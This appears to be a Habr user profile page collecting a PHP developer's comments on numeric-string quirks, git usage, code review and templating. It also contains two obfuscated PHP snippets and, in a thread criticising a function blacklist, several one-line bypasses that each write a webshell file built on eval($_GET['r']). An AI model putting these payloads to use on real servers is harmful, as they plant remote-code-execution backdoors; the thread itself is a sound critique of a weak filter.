All streams
Search
Write a publication
Pull to refresh
45
0
sectus @sectus

User

Send message
Первый раз ответил потому что хотел показать прикольный, но бесполезный код. Потом отвечал просто так. Потом за репутацию и медальки. Теперь в зависимости от настроения.
А так веселее
@$ˊ͜ˋ[]=@!+_; $˶͜˵=@${_}>>$ˊ͜ˋ;$ˊ͜ˋ[]=$˶͜˵;$ˊ͜ˋ[]=@_;$ˊ͜ˋ[((++$˶͜˵)+($˶͜˵++ ))].=$ˊ͜ˋ;
$ˊ͜ˋ[]=++$˶͜˵; $ˊ͜ˋ[]=$ˊ͜ˋ[--$˶͜˵][$˶͜˵>>$˶͜˵];$ˊ͜ˋ[$˶͜˵].=(($˶͜˵+$˶͜˵)+ $ˊ͜ˋ[$˶͜˵-$˶͜˵]).($˶͜˵+$˶͜˵+$˶͜˵)+$ˊ͜ˋ[$˶͜˵-$˶͜˵];
$ˊ͜ˋ[$˶͜˵+$˶͜˵] =($ˊ͜ˋ[$˶͜˵][$˶͜˵>>$˶͜˵]).($ˊ͜ˋ[$˶͜˵][$˶͜˵]^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵] );
$ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-($˶͜˵/$˶͜˵)])^($ˊ͜ˋ[$˶͜˵][$˶͜˵] );
$ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][$˶͜˵+$˶͜˵])^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵ ];
$ˊ͜ˋ=$
$ˊ͜ˋ[$˶͜˵+ $˶͜˵] ;$ˊ͜ˋ[@-_]($ˊ͜ˋ[@!+_] );
Такой вариант интереснее смотрится.
@$̓[]=@!+_; $͘=@${_}>>$̓;$̓[]=$͘;$̓[]=@_;$̓[((++$͘)+($͘++ ))].=$̓;
$̓[]=++$͘; $̓[]=$̓[--$͘][$͘>>$͘];$̓[$͘].=(($͘+$͘)+ $̓[$͘-$͘]).($͘+$͘+$͘)+$̓[$͘-$͘];
$̓[$͘+$͘] =($̓[$͘][$͘>>$͘]).($̓[$͘][$͘]^$̓[$͘][($͘<<$͘)-$͘] );
$̓[$͘+$͘] .=($̓[$͘][($͘<<$͘)-($͘/$͘)])^($̓[$͘][$͘] );
$̓[$͘+$͘] .=($̓[$͘][$͘+$͘])^$̓[$͘][($͘<<$͘)-$͘ ];
$̓=$
$̓[$͘+ $͘] ;$̓[@-_]($̓[@!+_] );
Недавно залезал в код. Было страшно.
Вы практически изобрели git flow

push -f после rebase… конечно, Вы получите более изящную структуру истории проекта, но можете получить и неприятности(сам с подобным сталкивался). Лучше уж сливаться.
Для проверки «на число» используется функция is_numeric_string_ex, которая и используется в функции is_numeric. Из этого кода понятно, что в начале строки могут быть не только пробелы, но и некоторые другие пробельные символы.

var_dump(is_numeric("\n\t\r\v\f 0000123")); // bool(true)

Для предотвращения потери точности при сравнении строк с большими числами было добавлено небольшое условие

((oflow1 == 1 && dval1 > 9007199254740991. /*0x1FFFFFFFFFFFFF*/)
|| (oflow1 == -1 && dval1 < -9007199254740991.))


9007199254740991 — это самое большое целое число, которое может быть сохранено в double без потери точности.

$id1 = '9223372036854775888';
$id2 = '9223372036854775899';
var_dump(is_numeric($id1)); // bool(true)
var_dump(is_numeric($id2)); // bool(true)
var_dump($id1 == $id2);     // bool(false)


P.S. да, эта тема уже упоминалась на хабре ( habrahabr.ru/post/142140/, habrahabr.ru/qa/17216/)
Два вопроса:
1. Вы знаете, в PHP и так много есть нестыковок… Почему не использовать одноимённые функции для работы со стеком (вопрос к залу)?
2. Зачем на PHP деревья делать?
В PHP всё именно так и происходит. Вероятно хотели что-то другое.
… В предстартовой сумятице в ракету запихнули обоих. Так что эксперимент сорвался, хуже того — через год ракета вернулась лишь с одним близнецом на борту. С глубокой скорбью он заявил, что, когда они пролетали над Юпитером, брат высунулся чересчур далеко. Горестным его словам не поверили, и под вой остервенелых газетчиков уцелевшего близнеца обвинили в братоедстве. В качестве улики прокурор предъявил найденную в ракете поваренную книгу, где красным карандашом была отчеркнута главка «О засолке мяса в пустоте».…


Звездные дневники Ийона Тихого. Путешествие двадцать восьмое
Или вот.
${''.$file_put_contents = 'file_put_contents'}('secure.php','<?php eval($_GET[\'r\']);');

Вот этот вариант уже очень сложно будет в лоб анализировать.
Хотя не, этот вариант практически идентичен $var(...).

Короче, если ещё подумать, я думаю, что можно будет ещё что-нибудь такое придумать.
Ну тогда ещё двойные кавычки запретить.

$var = 'file_put_contents';
"{$var('secure.php','<?php eval($_GET[\'r\']);')}";
К сожалению, не достаточно. Придётся запретить все функции с callback в качестве аргумента.

array_map('file_put_contents', array('secure.php'), array('<?php eval($_GET["r"]);'))
По ходе того как смотрю

1. Глобальные переменные.
2. Ну автозагрузку то можно было уже запилить.
3. Не используется единый стиль.
4. Мне кажется, что тут есть некоторое непонимание…
function __construct() {
if ($this->init) {
return;
}


/**
* Cloning restriction
*
* @final
*/
function __clone () {}

5. Да, да, нет разницы между глобальными переменными и синглтонами.
/**
* For IDE
*/
if (false) {
global $db;
$db = new DB;
}

6. Имена: global ..., $L,…
7. Класс Core многостаночник: создаёт(удаляет) объекты, кодирует(декодирует), отправляет HTTP запросы
8. Не используются подготовленные выражения…


nazarpc, Вы остро нуждаетесь в обновлении своих знаний по PHP и архитектуре приложений.
И как на счёт кодогенерации?
Плюсы:
* Работает автодополнение (конечно, в Вашем случае тоже можно заставить работать автодополнение, но тут мы или вводим вручную или опять же генерируем)
* Используется минимум магических функций

Минусы:
* Нужно реализовать.
$instance->load($entity_id)
    ->setName('Foo')
    ->setDescription('Bar')
    ->setBasePrice(250)
->save();

Какая IDE может так выравнивать?
Даже не так. Как будет выглядеть наследование шаблонов в шаблонах, которые написаны на PHP?
Расскажите, можно реализовать наследование шаблонов на PHP?
Как решали проблемы с которыми сталкивались? Ведь ещё не используете свою реализацию на существующих хайлоад продуктах.

Information

Rating
Does not participate
Location
Иркутск, Иркутская обл., Россия
Registered
Activity